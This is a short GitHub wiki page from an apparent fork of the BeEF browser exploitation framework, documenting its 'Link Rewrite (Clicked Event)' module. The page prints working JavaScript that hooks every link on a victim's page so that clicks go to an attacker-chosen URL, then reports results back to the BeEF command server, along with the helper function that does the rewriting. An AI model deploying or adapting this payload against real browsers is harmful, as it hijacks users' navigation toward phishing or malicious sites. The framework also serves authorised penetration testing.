Module: Link Rewrite (Clicked Event) - h4sh5/beef GitHub Wiki
-
Objective: Replace all links to a specified link
-
Authors: xntrik, @bilawalhameed, passbe
-
Browsers: All except Chrome
sets a javascript callback function on the element of all links to redirect to a specified link when clicked.
beef.execute(function() {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+beef.dom.rewriteLinksClickEvents('<%= @url %>')+' links rewritten to <%= @url %>');
});
//rewriteLinksClickEvents function
rewriteLinksClickEvents: function(url, selector) {
var sel = (selector == null) ? 'a' : selector;
return $j(sel).each(function() {
if ($j(this).attr('href') != null)
{
$j(this).click(function() {this.href=url});
}
}).length;
},